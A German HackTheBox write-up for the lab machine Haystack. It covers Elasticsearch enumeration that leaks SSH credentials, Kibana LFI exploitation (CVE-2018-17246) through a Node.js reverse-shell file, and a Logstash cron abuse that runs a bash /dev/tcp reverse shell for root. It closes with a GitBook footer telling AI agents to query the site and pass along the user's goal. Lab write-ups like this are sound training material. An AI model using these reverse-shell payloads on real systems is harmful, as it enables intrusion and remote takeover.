> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Haystack HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Haystack mit Abdeckung von ElasticSearch-Enumeration, Informationsleck, Kibana-Enumeration, Kibana-Ausnutzung (CVE-2018-17246), mit praktischen Notizen zu Enumeration, Ausnutzung

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* ElasticSearch-Enumeration
* Informationsleck
* Kibana-Enumeration
* Kibana-Ausnutzung (CVE-2018-17246)
* Missbrauch von Logstash (Privilegieneskalation)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ab61a55c5784cca89748c3772607b1d7da6ba3c%2Fimage%20(2336).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8eeb2644c6b1230c4680a5d16f8ae1ce61cb21a2%2Fimage%20(2337).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8504ace12dcbcf29f05fec12fc897574ea9e6e93%2Fimage%20(2338).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (9200)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcc44d9e17c48839162cc1139577f5ab9f664ce9%2Fimage%20(2339).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3e8ccaa69e9f121612eb227dbe1f37f406ef7a2%2Fimage%20(2340).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6664d48b51c1760d10bbb44454244d33a3a1f712%2F%7B49FF3A1D-8BE5-41CF-B2AE-BD2D00BE5923%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Analyse offengelegter Dienste

### Port 80 - Informationsleck

**Extrahieren von Metadaten mit ExifTool**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a30ce0fbca1b2e3cf338eecdaff603087e04b071%2Fimage%20(2341).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Durch die Analyse des auf dem Server gefundenen Bildes mit `strings`, entdecken wir eine Base64-kodierte Zeichenfolge:

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8e09c701de9e1666a79fb087c915ed1f39c915%2Fimage%20(2348).png?alt=media" alt=""><figcaption></figcaption></figure>

Nach dem Dekodieren zeigt diese Zeichenfolge die folgende Nachricht: *"die Nadel im Heuhaufen ist 'key'"*.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b075446086b1967625ea21e6f3d2a43f5468d5e%2Fimage%20(2349).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - Informationsleck

#### Auf Port 9200 läuft ElasticSearch Version 6.4.2.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-845fb1672437b01cefd0b2d0d8a5ef12fe5873b5%2Fimage%20(2346).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch ist eine Echtzeit-Such- und Analyse-Engine, die verwendet wird, um große Datenmengen schnell zu indexieren und zu durchsuchen. Sie integriert sich in den ELK-Stack, um erweiterte Datenvisualisierungs- und Analysefunktionen bereitzustellen.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6fa307777b94d07df14f3a092c87293f442f19c%2Fimage%20(2342).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch den Zugriff auf die `/_cat/indices?` URL erhalten wir eine Liste der Indizes mit ihren UUIDs. Um den Inhalt eines Index zu extrahieren, verwenden wir die folgende URL:

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d67ff3ba6fb8ae20077e89f3264944303a23fe19%2Fimage%20(2350).png?alt=media" alt=""><figcaption></figcaption></figure>

**Datenfilterung mit Curl**

Mit dem Index `quotes` und durch das Filtern nach dem Challenge-Schlüsselwort wird relevante Information gefunden:

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c07fc40eea9a17fe56fb69b73a5f6218e2804a4b%2Fimage%20(2351).png?alt=media" alt=""><figcaption></figcaption></figure>

**Dekodieren von Base64-kodierten Zeichenfolgen**

Wir erhalten zwei Base64-kodierte Zeichenfolgen, die nach dem Dekodieren die Identifikationsinformationen preisgeben:

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc8b39a983eb79b8bb21141eb943bc402c34642a%2Fimage%20(2347).png?alt=media" alt=""><figcaption></figcaption></figure>

**Benutzer:** `security`/ **Passwort:** `spanish.is.key`

### SSH-Verbindung

Mit den erlangten Zugangsdaten verbinden wir uns per SSH mit der Zielmaschine und greifen auf den Benutzer zu:

```bash
ssh security@10.10.10.115
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd92ae336f22569651d3efed74d68ffff5182cc4%2Fimage%20(2352).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-450a00123bc8acc2584696c0f3a9954b7e9d365b%2Fimage%20(2353).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

**Sobald Sie Zugriff auf den Linux-Server haben, führen Sie die folgenden Befehle für die Terminalbearbeitung aus:**

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**Das ermöglicht dir, wesentlich effizienter und vor allem komfortabler zu arbeiten.**

## Privilegieneskalation :

### Kibana (Portweiterleitung)

**Schritt 1: Identifizierung offener Ports**

Zuerst betrachten wir intern die offenen Ports mit dem folgenden Befehl:

```bash
netstat -nltp
```

Wir bemerken, dass der Port **5601** unsere Aufmerksamkeit erregt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86fa323dcdf703e71ae6c028f5f574ede193f655%2Fimage%20(1195).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch eine `curl` Anfrage an diesem Port erhalten wir eine HTML-Seite von Kibana:

{% hint style="info" %}
**Kibana** ist eine sofort einsatzbereite Dashboard-Software zur Datenvisualisierung für Elasticsearch
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4185365ccfcb8c99b230084fa86018162e03126b%2F%7B05AA9A2D-D25F-4DC0-9821-C58BB7E41347%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Schritt 2: Portweiterleitung für den Zugriff auf Kibana**

Wir leiten den internen Port des Servers **5601** auf unseren lokalen Rechner um, damit wir über unseren Browser darauf zugreifen können. Diese Weiterleitung kann per SSH mit dem folgenden Befehl durchgeführt werden:

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

Dadurch wird der lokale Port 5601 der Zielmaschine auf Port 5601 unseres eigenen Rechners umgeleitet, wodurch direkter Zugriff möglich wird

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659f17643a67378ea84165f840fb03c58c57bbb3%2Fimage%20(1196).png?alt=media" alt=""><figcaption></figcaption></figure>

**Schritt 3: Überprüfen der Kibana-Version**

Beim Aufrufen von `http://localhost:5601/api/status`, sehen wir die Kibana-Versionsnummer: **6.4.2**. Diese Version ist anfällig für einen **Lokale Dateieinbindung (LFI)** Angriff, identifiziert als **CVE-2018-17246**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-713508fea4c266675af9a04b46f3b254116a2f53%2Fimage%20(1197).png?alt=media" alt=""><figcaption></figcaption></figure>

### Kibana-Ausnutzung (CVE-2018-17246)

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Schritt 4: Ausnutzen der Schwachstelle**

Um diese Schwachstelle auszunutzen, erstellen wir eine JavaScript-Datei, um eine Reverse Shell zu erhalten. Im `/tmp` Verzeichnis der Zielmaschine erstellen Sie eine Datei mit dem Namen `rev.js` mit folgendem Code:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Verhindert, dass die Node.js-Anwendung abstürzt
})();
</code></pre>

Dieses Skript stellt eine Verbindung mit Ihrem Rechner auf Port **443** her, um eine Shell zu öffnen.

**Schritt 5: Stream-Umleitung in eine Datei**

Leite dann den Stream in die `/dev/shm/rev.js` Datei mit folgendem Befehl um:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Schritt 6: Auf Port auf die Reverse Shell lauschen**

Starten Sie auf Ihrem Rechner einen Listener auf Port **443** um die Reverse Shell abzufangen:

```bash
nc -nlvp 443
```

Nach der Anmeldung haben Sie eine Shell auf der Zielmaschine, was eine Privilegieneskalation ermöglicht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ac64b6e916dab5303c712cc4eb5e66598d95d46%2Fimage%20(1198).png?alt=media" alt=""><figcaption></figcaption></figure>

## Logstash ausnutzen

Wir suchen nach allen Dateien, auf die der Benutzer `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73161380fb34491f0df060d7c8b19ae80db64957%2Fimage%20(1190).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Durch den Zugriff auf Logstash entdecken wir drei Konfigurationsdateien:

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c297497d3d111cc5aba1e926db5e4027fb68bdb9%2Fimage%20(1191).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
Zusammenfassend führt Logstash einen Cron-Job aus, der alle 10 Sekunden prüft, ob eine Datei namens `logstash_*` im `/opt/kibana/` Verzeichnis existiert. Wenn eine passende Datei gefunden wird und einen Befehl mit einer bestimmten Eingabe in folgender Form enthält:
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9acf8ca93a072d4f3aa97b8886ec096ae5ff46e2%2Fimage%20(1192).png?alt=media" alt=""><figcaption></figcaption></figure>

Um diese Schwachstelle auszunutzen, erstellen wir eine Datei mit dem Namen `logstash_exec` im `/opt/kibana/` Verzeichnis mit folgendem Inhalt:

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

Anschließend lauschen wir auf Port 4444 und erhalten Root-Zugriff.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19b20733a0bcd35368dcc81babd07f4bba97a316%2Fimage%20(1193).png?alt=media" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b831c5ad7b23104dab9b52d6eb8ac1e96c3910f%2Fimage%20(1194).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802cb7937b0258c36aa4603e11050b0d0e512236%2F%7B9B8FBFCC-DFEE-4913-A59A-DEF636B4E84F%7D.png?alt=media" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
